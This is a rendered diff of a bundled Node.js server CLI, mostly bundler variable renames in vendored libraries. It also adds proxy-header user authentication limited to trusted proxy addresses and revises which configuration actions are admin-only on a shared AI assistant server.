var assert2 = __require("node:assert");
|
|
24541
24541
|
var { runtimeFeatures } = require_runtime_features();
|
|
24542
|
-
var
|
|
24542
|
+
var crypto7 = runtimeFeatures.has("crypto") ? __require("node:crypto") : null;
|
|
24543
24543
|
var warningEmitted = false;
|
|
24544
24544
|
function establishWebSocketConnection(url2, protocols, client, handler, options) {
|
|
24545
24545
|
const requestURL = url2;
|
|
@@ -24559,7 +24559,7 @@ var require_connection = __commonJS({
|
|
|
24559
24559
|
const headersList = getHeadersList(new Headers2(options.headers));
|
|
24560
24560
|
request.headersList = headersList;
|
|
24561
24561
|
}
|
|
24562
|
-
const keyValue =
|
|
24562
|
+
const keyValue = crypto7.randomBytes(16).toString("base64");
|
|
24563
24563
|
request.headersList.append("sec-websocket-key", keyValue, true);
|
|
24564
24564
|
request.headersList.append("sec-websocket-version", "13", true);
|
|
24565
24565
|
for (const protocol of protocols) {
|
|
@@ -24599,7 +24599,7 @@ var require_connection = __commonJS({
|
|
|
24599
24599
|
return;
|
|
24600
24600
|
}
|
|
24601
24601
|
const secWSAccept = response.headersList.get("Sec-WebSocket-Accept");
|
|
24602
|
-
const digest =
|
|
24602
|
+
const digest = crypto7.hash("sha1", keyValue + uid, "base64");
|
|
24603
24603
|
if (secWSAccept !== digest) {
|
|
24604
24604
|
failWebsocketConnection(handler, 1002, "Incorrect hash received in Sec-WebSocket-Accept header.");
|
|
24605
24605
|
return;
|
|
@@ -26879,11 +26879,11 @@ var require_undici = __commonJS({
|
|
|
26879
26879
|
if (typeof opts.path !== "string") {
|
|
26880
26880
|
throw new InvalidArgumentError("invalid opts.path");
|
|
26881
26881
|
}
|
|
26882
|
-
let
|
|
26882
|
+
let path29 = opts.path;
|
|
26883
26883
|
if (!opts.path.startsWith("/")) {
|
|
26884
|
-
|
|
26884
|
+
path29 = `/${path29}`;
|
|
26885
26885
|
}
|
|
26886
|
-
url2 = new URL(util.parseOrigin(url2).origin +
|
|
26886
|
+
url2 = new URL(util.parseOrigin(url2).origin + path29);
|
|
26887
26887
|
} else {
|
|
26888
26888
|
if (!opts) {
|
|
26889
26889
|
opts = typeof url2 === "object" ? url2 : {};
|
|
@@ -30188,8 +30188,8 @@ var require_utils2 = __commonJS({
|
|
|
30188
30188
|
}
|
|
30189
30189
|
return ind;
|
|
30190
30190
|
}
|
|
30191
|
-
function removeDotSegments(
|
|
30192
|
-
let input =
|
|
30191
|
+
function removeDotSegments(path29) {
|
|
30192
|
+
let input = path29;
|
|
30193
30193
|
const output = [];
|
|
30194
30194
|
let nextSlash = -1;
|
|
30195
30195
|
let len = 0;
|
|
@@ -30441,8 +30441,8 @@ var require_schemes = __commonJS({
|
|
|
30441
30441
|
wsComponent.secure = void 0;
|
|
30442
30442
|
}
|
|
30443
30443
|
if (wsComponent.resourceName) {
|
|
30444
|
-
const [
|
|
30445
|
-
wsComponent.path =
|
|
30444
|
+
const [path29, query] = wsComponent.resourceName.split("?");
|
|
30445
|
+
wsComponent.path = path29 && path29 !== "/" ? path29 : void 0;
|
|
30446
30446
|
wsComponent.query = query;
|
|
30447
30447
|
wsComponent.resourceName = void 0;
|
|
30448
30448
|
}
|
|
@@ -33841,12 +33841,12 @@ var require_dist = __commonJS({
|
|
|
33841
33841
|
throw new Error(`Unknown format "${name}"`);
|
|
33842
33842
|
return f;
|
|
33843
33843
|
};
|
|
33844
|
-
function addFormats(ajv, list,
|
|
33844
|
+
function addFormats(ajv, list, fs23, exportName) {
|
|
33845
33845
|
var _a3;
|
|
33846
33846
|
var _b;
|
|
33847
33847
|
(_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`;
|
|
33848
33848
|
for (const f of list)
|
|
33849
|
-
ajv.addFormat(f,
|
|
33849
|
+
ajv.addFormat(f, fs23[f]);
|
|
33850
33850
|
}
|
|
33851
33851
|
module.exports = exports = formatsPlugin;
|
|
33852
33852
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
@@ -33859,8 +33859,8 @@ var require_windows = __commonJS({
|
|
|
33859
33859
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/windows.js"(exports, module) {
|
|
33860
33860
|
module.exports = isexe;
|
|
33861
33861
|
isexe.sync = sync;
|
|
33862
|
-
var
|
|
33863
|
-
function checkPathExt(
|
|
33862
|
+
var fs23 = __require("fs");
|
|
33863
|
+
function checkPathExt(path29, options) {
|
|
33864
33864
|
var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
|
|
33865
33865
|
if (!pathext) {
|
|
33866
33866
|
return true;
|
|
@@ -33871,25 +33871,25 @@ var require_windows = __commonJS({
|
|
|
33871
33871
|
}
|
|
33872
33872
|
for (var i = 0; i < pathext.length; i++) {
|
|
33873
33873
|
var p = pathext[i].toLowerCase();
|
|
33874
|
-
if (p &&
|
|
33874
|
+
if (p && path29.substr(-p.length).toLowerCase() === p) {
|
|
33875
33875
|
return true;
|
|
33876
33876
|
}
|
|
33877
33877
|
}
|
|
33878
33878
|
return false;
|
|
33879
33879
|
}
|
|
33880
|
-
function checkStat(stat,
|
|
33880
|
+
function checkStat(stat, path29, options) {
|
|
33881
33881
|
if (!stat.isSymbolicLink() && !stat.isFile()) {
|
|
33882
33882
|
return false;
|
|
33883
33883
|
}
|
|
33884
|
-
return checkPathExt(
|
|
33884
|
+
return checkPathExt(path29, options);
|
|
33885
33885
|
}
|
|
33886
|
-
function isexe(
|
|
33887
|
-
|
|
33888
|
-
cb(er, er ? false : checkStat(stat,
|
|
33886
|
+
function isexe(path29, options, cb) {
|
|
33887
|
+
fs23.stat(path29, function(er, stat) {
|
|
33888
|
+
cb(er, er ? false : checkStat(stat, path29, options));
|
|
33889
33889
|
});
|
|
33890
33890
|
}
|
|
33891
|
-
function sync(
|
|
33892
|
-
return checkStat(
|
|
33891
|
+
function sync(path29, options) {
|
|
33892
|
+
return checkStat(fs23.statSync(path29), path29, options);
|
|
33893
33893
|
}
|
|
33894
33894
|
}
|
|
33895
33895
|
});
|
|
@@ -33899,14 +33899,14 @@ var require_mode = __commonJS({
|
|
|
33899
33899
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/mode.js"(exports, module) {
|
|
33900
33900
|
module.exports = isexe;
|
|
33901
33901
|
isexe.sync = sync;
|
|
33902
|
-
var
|
|
33903
|
-
function isexe(
|
|
33904
|
-
|
|
33902
|
+
var fs23 = __require("fs");
|
|
33903
|
+
function isexe(path29, options, cb) {
|
|
33904
|
+
fs23.stat(path29, function(er, stat) {
|
|
33905
33905
|
cb(er, er ? false : checkStat(stat, options));
|
|
33906
33906
|
});
|
|
33907
33907
|
}
|
|
33908
|
-
function sync(
|
|
33909
|
-
return checkStat(
|
|
33908
|
+
function sync(path29, options) {
|
|
33909
|
+
return checkStat(fs23.statSync(path29), options);
|
|
33910
33910
|
}
|
|
33911
33911
|
function checkStat(stat, options) {
|
|
33912
33912
|
return stat.isFile() && checkMode(stat, options);
|
|
@@ -33930,7 +33930,7 @@ var require_mode = __commonJS({
|
|
|
33930
33930
|
// ../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js
|
|
33931
33931
|
var require_isexe = __commonJS({
|
|
33932
33932
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js"(exports, module) {
|
|
33933
|
-
var
|
|
33933
|
+
var fs23 = __require("fs");
|
|
33934
33934
|
var core;
|
|
33935
33935
|
if (process.platform === "win32" || global.TESTING_WINDOWS) {
|
|
33936
33936
|
core = require_windows();
|
|
@@ -33939,7 +33939,7 @@ var require_isexe = __commonJS({
|
|
|
33939
33939
|
}
|
|
33940
33940
|
module.exports = isexe;
|
|
33941
33941
|
isexe.sync = sync;
|
|
33942
|
-
function isexe(
|
|
33942
|
+
function isexe(path29, options, cb) {
|
|
33943
33943
|
if (typeof options === "function") {
|
|
33944
33944
|
cb = options;
|
|
33945
33945
|
options = {};
|
|
@@ -33949,7 +33949,7 @@ var require_isexe = __commonJS({
|
|
|
33949
33949
|
throw new TypeError("callback not provided");
|
|
33950
33950
|
}
|
|
33951
33951
|
return new Promise(function(resolve, reject2) {
|
|
33952
|
-
isexe(
|
|
33952
|
+
isexe(path29, options || {}, function(er, is) {
|
|
33953
33953
|
if (er) {
|
|
33954
33954
|
reject2(er);
|
|
33955
33955
|
} else {
|
|
@@ -33958,7 +33958,7 @@ var require_isexe = __commonJS({
|
|
|
33958
33958
|
});
|
|
33959
33959
|
});
|
|
33960
33960
|
}
|
|
33961
|
-
core(
|
|
33961
|
+
core(path29, options || {}, function(er, is) {
|
|
33962
33962
|
if (er) {
|
|
33963
33963
|
if (er.code === "EACCES" || options && options.ignoreErrors) {
|
|
33964
33964
|
er = null;
|
|
@@ -33968,9 +33968,9 @@ var require_isexe = __commonJS({
|
|
|
33968
33968
|
cb(er, is);
|
|
33969
33969
|
});
|
|
33970
33970
|
}
|
|
33971
|
-
function sync(
|
|
33971
|
+
function sync(path29, options) {
|
|
33972
33972
|
try {
|
|
33973
|
-
return core.sync(
|
|
33973
|
+
return core.sync(path29, options || {});
|
|
33974
33974
|
} catch (er) {
|
|
33975
33975
|
if (options && options.ignoreErrors || er.code === "EACCES") {
|
|
33976
33976
|
return false;
|
|
@@ -33986,7 +33986,7 @@ var require_isexe = __commonJS({
|
|
|
33986
33986
|
var require_which = __commonJS({
|
|
33987
33987
|
"../../node_modules/.pnpm/which@2.0.2/node_modules/which/which.js"(exports, module) {
|
|
33988
33988
|
var isWindows = process.platform === "win32" || process.env.OSTYPE === "cygwin" || process.env.OSTYPE === "msys";
|
|
33989
|
-
var
|
|
33989
|
+
var path29 = __require("path");
|
|
33990
33990
|
var COLON = isWindows ? ";" : ":";
|
|
33991
33991
|
var isexe = require_isexe();
|
|
33992
33992
|
var getNotFoundError = (cmd) => Object.assign(new Error(`not found: ${cmd}`), { code: "ENOENT" });
|
|
@@ -34024,7 +34024,7 @@ var require_which = __commonJS({
|
|
|
34024
34024
|
return opt.all && found.length ? resolve(found) : reject2(getNotFoundError(cmd));
|
|
34025
34025
|
const ppRaw = pathEnv[i];
|
|
34026
34026
|
const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
|
|
34027
|
-
const pCmd =
|
|
34027
|
+
const pCmd = path29.join(pathPart, cmd);
|
|
34028
34028
|
const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
|
|
34029
34029
|
resolve(subStep(p, i, 0));
|
|
34030
34030
|
});
|
|
@@ -34051,7 +34051,7 @@ var require_which = __commonJS({
|
|
|
34051
34051
|
for (let i = 0; i < pathEnv.length; i++) {
|
|
34052
34052
|
const ppRaw = pathEnv[i];
|
|
34053
34053
|
const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
|
|
34054
|
-
const pCmd =
|
|
34054
|
+
const pCmd = path29.join(pathPart, cmd);
|
|
34055
34055
|
const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
|
|
34056
34056
|
for (let j = 0; j < pathExt.length; j++) {
|
|
34057
34057
|
const cur = p + pathExt[j];
|
|
@@ -34099,7 +34099,7 @@ var require_path_key = __commonJS({
|
|
|
34099
34099
|
var require_resolveCommand = __commonJS({
|
|
34100
34100
|
"../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/resolveCommand.js"(exports, module) {
|
|
34101
34101
|
"use strict";
|
|
34102
|
-
var
|
|
34102
|
+
var path29 = __require("path");
|
|
34103
34103
|
var which = require_which();
|
|
34104
34104
|
var getPathKey = require_path_key();
|
|
34105
34105
|
function resolveCommandAttempt(parsed, withoutPathExt) {
|
|
@@ -34117,7 +34117,7 @@ var require_resolveCommand = __commonJS({
|
|
|
34117
34117
|
try {
|
|
34118
34118
|
resolved = which.sync(parsed.command, {
|
|
34119
34119
|
path: env2[getPathKey({ env: env2 })],
|
|
34120
|
-
pathExt: withoutPathExt ?
|
|
34120
|
+
pathExt: withoutPathExt ? path29.delimiter : void 0
|
|
34121
34121
|
});
|
|
34122
34122
|
} catch (e) {
|
|
34123
34123
|
} finally {
|
|
@@ -34126,7 +34126,7 @@ var require_resolveCommand = __commonJS({
|
|
|
34126
34126
|
}
|
|
34127
34127
|
}
|
|
34128
34128
|
if (resolved) {
|
|
34129
|
-
resolved =
|
|
34129
|
+
resolved = path29.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
|
|
34130
34130
|
}
|
|
34131
34131
|
return resolved;
|
|
34132
34132
|
}
|
|
@@ -34180,8 +34180,8 @@ var require_shebang_command = __commonJS({
|
|
|
34180
34180
|
if (!match) {
|
|
34181
34181
|
return null;
|
|
34182
34182
|
}
|
|
34183
|
-
const [
|
|
34184
|
-
const binary =
|
|
34183
|
+
const [path29, argument] = match[0].replace(/#! ?/, "").split(" ");
|
|
34184
|
+
const binary = path29.split("/").pop();
|
|
34185
34185
|
if (binary === "env") {
|
|
34186
34186
|
return argument;
|
|
34187
34187
|
}
|
|
@@ -34194,16 +34194,16 @@ var require_shebang_command = __commonJS({
|
|
|
34194
34194
|
var require_readShebang = __commonJS({
|
|
34195
34195
|
"../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) {
|
|
34196
34196
|
"use strict";
|
|
34197
|
-
var
|
|
34197
|
+
var fs23 = __require("fs");
|
|
34198
34198
|
var shebangCommand = require_shebang_command();
|
|
34199
34199
|
function readShebang(command) {
|
|
34200
34200
|
const size = 150;
|
|
34201
34201
|
const buffer = Buffer.alloc(size);
|
|
34202
34202
|
let fd;
|
|
34203
34203
|
try {
|
|
34204
|
-
fd =
|
|
34205
|
-
|
|
34206
|
-
|
|
34204
|
+
fd = fs23.openSync(command, "r");
|
|
34205
|
+
fs23.readSync(fd, buffer, 0, size, 0);
|
|
34206
|
+
fs23.closeSync(fd);
|
|
34207
34207
|
} catch (e) {
|
|
34208
34208
|
}
|
|
34209
34209
|
return shebangCommand(buffer.toString());
|
|
@@ -34216,7 +34216,7 @@ var require_readShebang = __commonJS({
|
|
|
34216
34216
|
var require_parse2 = __commonJS({
|
|
34217
34217
|
"../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/parse.js"(exports, module) {
|
|
34218
34218
|
"use strict";
|
|
34219
|
-
var
|
|
34219
|
+
var path29 = __require("path");
|
|
34220
34220
|
var resolveCommand = require_resolveCommand();
|
|
34221
34221
|
var escape2 = require_escape();
|
|
34222
34222
|
var readShebang = require_readShebang();
|
|
@@ -34241,7 +34241,7 @@ var require_parse2 = __commonJS({
|
|
|
34241
34241
|
const needsShell = !isExecutableRegExp.test(commandFile);
|
|
34242
34242
|
if (parsed.options.forceShell || needsShell) {
|
|
34243
34243
|
const needsDoubleEscapeMetaChars = isCmdShimRegExp.test(commandFile);
|
|
34244
|
-
parsed.command =
|
|
34244
|
+
parsed.command = path29.normalize(parsed.command);
|
|
34245
34245
|
parsed.command = escape2.command(parsed.command);
|
|
34246
34246
|
parsed.args = parsed.args.map((arg) => escape2.argument(arg, needsDoubleEscapeMetaChars));
|
|
34247
34247
|
const shellCommand = [parsed.command].concat(parsed.args).join(" ");
|
|
@@ -34457,7 +34457,7 @@ var require_content_type = __commonJS({
|
|
|
34457
34457
|
|
|
34458
34458
|
// src/cli.ts
|
|
34459
34459
|
import { spawn as spawn5 } from "node:child_process";
|
|
34460
|
-
import
|
|
34460
|
+
import path28 from "node:path";
|
|
34461
34461
|
import { fileURLToPath } from "node:url";
|
|
34462
34462
|
|
|
34463
34463
|
// ../../node_modules/.pnpm/env-paths@4.0.0/node_modules/env-paths/index.js
|
|
@@ -34550,16 +34550,69 @@ function envPaths(name, { suffix = "nodejs" } = {}) {
|
|
|
34550
34550
|
return linux(name);
|
|
34551
34551
|
}
|
|
34552
34552
|
|
|
34553
|
+
// src/proxyIdentity.ts
|
|
34554
|
+
import net from "node:net";
|
|
34555
|
+
var DEFAULT_USER_HEADER = "x-forwarded-user";
|
|
34556
|
+
var DEFAULT_NAME_HEADER = "x-forwarded-display-name";
|
|
34557
|
+
function normalizeAddress(address) {
|
|
34558
|
+
if (address === void 0 || address.length === 0) return void 0;
|
|
34559
|
+
const lower = address.toLowerCase();
|
|
34560
|
+
const mapped = /^::ffff:(\d+\.\d+\.\d+\.\d+)$/.exec(lower);
|
|
34561
|
+
if (mapped !== null) return mapped[1];
|
|
34562
|
+
return lower;
|
|
34563
|
+
}
|
|
34564
|
+
var ProxyHeaderIdentity = class {
|
|
34565
|
+
describe;
|
|
34566
|
+
userHeader;
|
|
34567
|
+
nameHeader;
|
|
34568
|
+
trusted;
|
|
34569
|
+
constructor(options = {}) {
|
|
34570
|
+
this.userHeader = (options.userHeader ?? DEFAULT_USER_HEADER).toLowerCase();
|
|
34571
|
+
this.nameHeader = (options.nameHeader ?? DEFAULT_NAME_HEADER).toLowerCase();
|
|
34572
|
+
this.trusted = new Set(
|
|
34573
|
+
(options.trustedProxies ?? []).map((address) => normalizeAddress(address)).filter((address) => address !== void 0)
|
|
34574
|
+
);
|
|
34575
|
+
this.describe = this.trusted.size === 0 ? `proxy header "${this.userHeader}" \u2014 NO TRUSTED PROXY CONFIGURED, every request is refused` : `proxy header "${this.userHeader}" from ${[...this.trusted].join(", ")}`;
|
|
34576
|
+
}
|
|
34577
|
+
/** True when the socket peer is an address the operator named. */
|
|
34578
|
+
trusts(request) {
|
|
34579
|
+
const peer = normalizeAddress(request.socket.remoteAddress ?? void 0);
|
|
34580
|
+
return peer !== void 0 && this.trusted.has(peer);
|
|
34581
|
+
}
|
|
34582
|
+
async authenticate(request) {
|
|
34583
|
+
if (!this.trusts(request)) return void 0;
|
|
34584
|
+
const raw = request.headers[this.userHeader];
|
|
34585
|
+
if (typeof raw !== "string") return void 0;
|
|
34586
|
+
const id = raw.trim();
|
|
34587
|
+
if (id.length === 0) return void 0;
|
|
34588
|
+
const nameRaw = request.headers[this.nameHeader];
|
|
34589
|
+
const displayName = typeof nameRaw === "string" && nameRaw.trim().length > 0 ? nameRaw.trim() : id;
|
|
34590
|
+
return { id, displayName };
|
|
34591
|
+
}
|
|
34592
|
+
};
|
|
34593
|
+
function validateTrustedProxies(addresses) {
|
|
34594
|
+
return addresses.filter((address) => {
|
|
34595
|
+
const normalized = normalizeAddress(address);
|
|
34596
|
+
return normalized === void 0 || net.isIP(normalized) === 0;
|
|
34597
|
+
});
|
|
34598
|
+
}
|
|
34599
|
+
|
|
34553
34600
|
// src/roles.ts
|
|
34554
34601
|
var ADMIN_ONLY_MESSAGES = [
|
|
34555
|
-
|
|
34556
|
-
|
|
34557
|
-
|
|
34558
|
-
|
|
34559
|
-
|
|
34560
|
-
|
|
34602
|
+
/*
|
|
34603
|
+
* The *shared* provider set, and the default a new user inherits.
|
|
34604
|
+
*
|
|
34605
|
+
* A user's own profiles are theirs — see PERSONAL_SETTINGS. That is a reversal, made
|
|
34606
|
+
* deliberately: the original rule froze all of `profiles` because a second user was treated as
|
|
34607
|
+
* the same threat as a hostile repository. The threat that reasoning is about is one user
|
|
34608
|
+
* repointing *another's* gateway, and a per-user profile cannot do that — someone bringing
|
|
34609
|
+
* their own key is spending their own money against a host they chose.
|
|
34610
|
+
*/
|
|
34611
|
+
"saveSharedProfile",
|
|
34612
|
+
"deleteSharedProfile",
|
|
34613
|
+
"setDefaultProfile",
|
|
34614
|
+
// Writes a whole profile list, so it is not the same act as exporting one.
|
|
34561
34615
|
"importConfig",
|
|
34562
|
-
"exportConfig",
|
|
34563
34616
|
// Processes this machine will spawn.
|
|
34564
34617
|
"saveMcpServer",
|
|
34565
34618
|
"saveMcpServers",
|
|
@@ -34594,6 +34647,12 @@ var ADMIN_ONLY_MESSAGES = [
|
|
|
34594
34647
|
"saveSkillDirs",
|
|
34595
34648
|
"deleteSkillFile",
|
|
34596
34649
|
// Unattended execution with a pre-granted tool list.
|
|
34650
|
+
// Session variables an administrator sets for everyone. A user saving their own is
|
|
34651
|
+
// `saveUserVariables`, which is deliberately not here — it is theirs.
|
|
34652
|
+
// Approving model-authored code is the whole point of the queue.
|
|
34653
|
+
"decideReview",
|
|
34654
|
+
"saveAdminVariables",
|
|
34655
|
+
"saveAdminIds",
|
|
34597
34656
|
"saveSchedule",
|
|
34598
34657
|
"deleteSchedule",
|
|
34599
34658
|
"setScheduleEnabled",
|
|
@@ -34606,6 +34665,24 @@ var ADMIN_ONLY_MESSAGES = [
|
|
|
34606
34665
|
];
|
|
34607
34666
|
var ADMIN_ONLY = new Set(ADMIN_ONLY_MESSAGES);
|
|
34608
34667
|
var PERSONAL_SETTINGS = /* @__PURE__ */ new Set([
|
|
34668
|
+
// A user's own session variables. Caught by the unknown-mutating-verb rule, which is the
|
|
34669
|
+
// safety net working — the net is meant to be wrong in this direction, and this is where the
|
|
34670
|
+
// exception gets made deliberately rather than by weakening the rule.
|
|
34671
|
+
"saveUserVariables",
|
|
34672
|
+
/*
|
|
34673
|
+
* A user's own provider profiles, including their own API key.
|
|
34674
|
+
*
|
|
34675
|
+
* They cannot reach the shared ones: the config store strips a shared profile from anything
|
|
34676
|
+
* written to a user's file, so that boundary is storage rather than this list. Test Connection
|
|
34677
|
+
* is theirs too — a diagnostic against a profile they can already use, and refusing it would
|
|
34678
|
+
* leave someone unable to find out why their own key does not work.
|
|
34679
|
+
*/
|
|
34680
|
+
"saveProfile",
|
|
34681
|
+
"deleteProfile",
|
|
34682
|
+
"duplicateProfile",
|
|
34683
|
+
"setActiveProfile",
|
|
34684
|
+
"testConnection",
|
|
34685
|
+
"exportConfig",
|
|
34609
34686
|
"setMode",
|
|
34610
34687
|
"setAccentColor",
|
|
34611
34688
|
"setExpertColor",
|
|
@@ -34632,293 +34709,28 @@ function refusalFor(messageType) {
|
|
|
34632
34709
|
return `"${messageType}" changes configuration that the administrator owns on a shared server, so it was not applied. Everything about your own session \u2014 chatting, editing, the mode and appearance \u2014 is unaffected. Ask whoever runs this server if a setting needs changing.`;
|
|
34633
34710
|
}
|
|
34634
34711
|
|
|
34635
|
-
// src/
|
|
34636
|
-
import fs19 from "node:fs/promises";
|
|
34637
|
-
import {
|
|
34638
|
-
createServer
|
|
34639
|
-
} from "node:http";
|
|
34640
|
-
import path24 from "node:path";
|
|
34641
|
-
|
|
34642
|
-
// src/identity.ts
|
|
34643
|
-
import crypto from "node:crypto";
|
|
34644
|
-
var SingleUserIdentity = class _SingleUserIdentity {
|
|
34645
|
-
describe = "single user (local)";
|
|
34646
|
-
static PRINCIPAL = { id: "local", displayName: "Local user" };
|
|
34647
|
-
/** Long-lived, minted per server run, only ever sent in an `Authorization` header. */
|
|
34648
|
-
sessionToken = crypto.randomBytes(32).toString("base64url");
|
|
34649
|
-
/**
|
|
34650
|
-
* Single-use and short-lived, because it travels in the launch URL's fragment where it
|
|
34651
|
-
* can end up in shell history or a terminal scrollback (§14).
|
|
34652
|
-
*/
|
|
34653
|
-
handoffToken = crypto.randomBytes(32).toString("base64url");
|
|
34654
|
-
handoffExpiresAt = Date.now() + 1e4;
|
|
34655
|
-
get launchToken() {
|
|
34656
|
-
if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
|
|
34657
|
-
return this.handoffToken;
|
|
34658
|
-
}
|
|
34659
|
-
/**
|
|
34660
|
-
* Exchanges the handoff token for the session token, once.
|
|
34661
|
-
*
|
|
34662
|
-
* Cleared on the first attempt whether or not it matched: a wrong guess is either a bug
|
|
34663
|
-
* or an attack, and in both cases the right answer is that this token is now spent.
|
|
34664
|
-
*/
|
|
34665
|
-
redeemHandoff(presented) {
|
|
34666
|
-
const expected = this.handoffToken;
|
|
34667
|
-
const expiresAt = this.handoffExpiresAt;
|
|
34668
|
-
this.handoffToken = void 0;
|
|
34669
|
-
if (expected === void 0 || Date.now() > expiresAt) return void 0;
|
|
34670
|
-
return timingSafeEquals(presented, expected) ? this.sessionToken : void 0;
|
|
34671
|
-
}
|
|
34672
|
-
async authenticate(request) {
|
|
34673
|
-
const header = request.headers.authorization;
|
|
34674
|
-
if (header === void 0 || !header.startsWith("Bearer ")) return void 0;
|
|
34675
|
-
return timingSafeEquals(header.slice("Bearer ".length), this.sessionToken) ? _SingleUserIdentity.PRINCIPAL : void 0;
|
|
34676
|
-
}
|
|
34677
|
-
};
|
|
34678
|
-
function timingSafeEquals(a, b) {
|
|
34679
|
-
const left = Buffer.from(a);
|
|
34680
|
-
const right = Buffer.from(b);
|
|
34681
|
-
if (left.length !== right.length) return false;
|
|
34682
|
-
return crypto.timingSafeEqual(left, right);
|
|
34683
|
-
}
|
|
34684
|
-
function storageKeyFor(principal) {
|
|
34685
|
-
return crypto.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
|
|
34686
|
-
}
|
|
34687
|
-
|
|
34688
|
-
// src/security.ts
|
|
34689
|
-
var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
|
|
34690
|
-
function checkRequest(request, policy, options) {
|
|
34691
|
-
const host = request.headers.host;
|
|
34692
|
-
if (host === void 0 || !policy.allowedHosts.includes(host.toLowerCase())) {
|
|
34693
|
-
return {
|
|
34694
|
-
status: 421,
|
|
34695
|
-
reason: `Host "${host ?? "(absent)"}" is not one this server answers to. This is what blocks DNS rebinding.`
|
|
34696
|
-
};
|
|
34697
|
-
}
|
|
34698
|
-
const origin = request.headers.origin;
|
|
34699
|
-
if (origin !== void 0 && !policy.allowedOrigins.includes(origin.toLowerCase())) {
|
|
34700
|
-
return { status: 403, reason: `Origin "${origin}" is not allowed.` };
|
|
34701
|
-
}
|
|
34702
|
-
const fetchSite = request.headers["sec-fetch-site"];
|
|
34703
|
-
if (typeof fetchSite === "string" && fetchSite !== "same-origin" && fetchSite !== "none") {
|
|
34704
|
-
return { status: 403, reason: `Cross-site request (Sec-Fetch-Site: ${fetchSite}) is not allowed.` };
|
|
34705
|
-
}
|
|
34706
|
-
const method = (request.method ?? "GET").toUpperCase();
|
|
34707
|
-
if (options.requireOrigin && !SAFE_METHODS.has(method) && origin === void 0) {
|
|
34708
|
-
return { status: 403, reason: `Missing Origin header on a ${method}.` };
|
|
34709
|
-
}
|
|
34710
|
-
return void 0;
|
|
34711
|
-
}
|
|
34712
|
-
function securityHeaders() {
|
|
34713
|
-
return {
|
|
34714
|
-
"Content-Security-Policy": [
|
|
34715
|
-
"default-src 'none'",
|
|
34716
|
-
"script-src 'self'",
|
|
34717
|
-
// The UI styles through the CSSOM rather than inline attributes, but the browser
|
|
34718
|
-
// build also needs a stylesheet for the page shell.
|
|
34719
|
-
"style-src 'self' 'unsafe-inline'",
|
|
34720
|
-
"img-src 'self' data:",
|
|
34721
|
-
"font-src 'self'",
|
|
34722
|
-
"connect-src 'self'",
|
|
34723
|
-
"frame-ancestors 'none'",
|
|
34724
|
-
"base-uri 'none'",
|
|
34725
|
-
"form-action 'none'"
|
|
34726
|
-
].join("; "),
|
|
34727
|
-
"X-Content-Type-Options": "nosniff",
|
|
34728
|
-
"Referrer-Policy": "no-referrer",
|
|
34729
|
-
// Nothing here needs a camera, a microphone or a location.
|
|
34730
|
-
"Permissions-Policy": "camera=(), microphone=(), geolocation=(), interest-cohort=()",
|
|
34731
|
-
"Cache-Control": "no-store"
|
|
34732
|
-
// Deliberately no Access-Control-Allow-Origin: no other origin may read these replies.
|
|
34733
|
-
};
|
|
34734
|
-
}
|
|
34735
|
-
function reject(response, rejected) {
|
|
34736
|
-
response.writeHead(rejected.status, { "Content-Type": "text/plain", ...securityHeaders() });
|
|
34737
|
-
response.end(rejected.reason);
|
|
34738
|
-
}
|
|
34739
|
-
async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
|
|
34740
|
-
const chunks = [];
|
|
34741
|
-
let total = 0;
|
|
34742
|
-
for await (const chunk of request) {
|
|
34743
|
-
const buffer = chunk;
|
|
34744
|
-
total += buffer.length;
|
|
34745
|
-
if (total > maxBytes) throw new Error("Request body too large.");
|
|
34746
|
-
chunks.push(buffer);
|
|
34747
|
-
}
|
|
34748
|
-
if (total === 0) return void 0;
|
|
34749
|
-
return JSON.parse(Buffer.concat(chunks).toString("utf8"));
|
|
34750
|
-
}
|
|
34751
|
-
|
|
34752
|
-
// src/session.ts
|
|
34753
|
-
import { watch as fsWatch } from "node:fs";
|
|
34754
|
-
import fs18 from "node:fs/promises";
|
|
34755
|
-
import path23 from "node:path";
|
|
34756
|
-
|
|
34757
|
-
// ../../packages/core/dist/platform/http.js
|
|
34758
|
-
var import_undici = __toESM(require_undici(), 1);
|
|
34759
|
-
import { createHash } from "node:crypto";
|
|
34760
|
-
|
|
34761
|
-
// ../../packages/core/dist/platform/tls.js
|
|
34762
|
-
import fs from "node:fs";
|
|
34763
|
-
import tls from "node:tls";
|
|
34764
|
-
var cachedExtraCaCerts;
|
|
34765
|
-
var cachedExtraCaPath;
|
|
34766
|
-
function readNodeExtraCaCerts(env2 = process.env) {
|
|
34767
|
-
const configuredPath = env2.NODE_EXTRA_CA_CERTS;
|
|
34768
|
-
if (configuredPath === void 0 || configuredPath.trim().length === 0)
|
|
34769
|
-
return [];
|
|
34770
|
-
if (cachedExtraCaPath === configuredPath && cachedExtraCaCerts !== void 0)
|
|
34771
|
-
return cachedExtraCaCerts;
|
|
34772
|
-
try {
|
|
34773
|
-
const contents = fs.readFileSync(configuredPath, "utf8");
|
|
34774
|
-
cachedExtraCaCerts = contents.trim().length > 0 ? [contents] : [];
|
|
34775
|
-
} catch {
|
|
34776
|
-
cachedExtraCaCerts = [];
|
|
34777
|
-
}
|
|
34778
|
-
